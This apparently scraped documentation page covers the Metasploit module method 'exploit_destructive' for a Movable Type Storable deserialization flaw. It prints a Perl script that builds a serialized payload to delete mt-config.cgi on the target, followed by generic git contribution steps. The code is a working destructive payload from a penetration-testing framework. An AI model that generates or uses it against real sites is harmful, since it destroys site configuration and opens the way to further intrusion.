metasploit-framework
https://github.com/rapid7/metasploit-framework
Ruby
Metasploit Framework
MetasploitModule#exploit_destructive
#!/usr/bin/perl
# Generate destructive config parameter to unlink mt-config.cgi
use Storable;
{
package CGITempFile;
}
my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";
my $data = [$cgitempfile];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE unlink payload requiring CGI: $frozen\n";Edit
git clone [email protected]:rapid7/metasploit-framework.git
cd metasploit-framework
open modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rb
Contribute
# Make a new branchgit checkout -b -your-name--update-docs-MetasploitModule-exploit_destructive-for-pr
# Commit to gitgit add modules/exploits/unix/webapp/sixapart_movabletype_storable_exec.rbgit commit -m "better docs for MetasploitModule#exploit_destructive"
# Open pull requestgem install hub # on a mac you can `brew install hub`
hub fork
git push <your name> -your-name--update-docs-MetasploitModule-exploit_destructive-for-pr
hub pull-request
# Celebrate!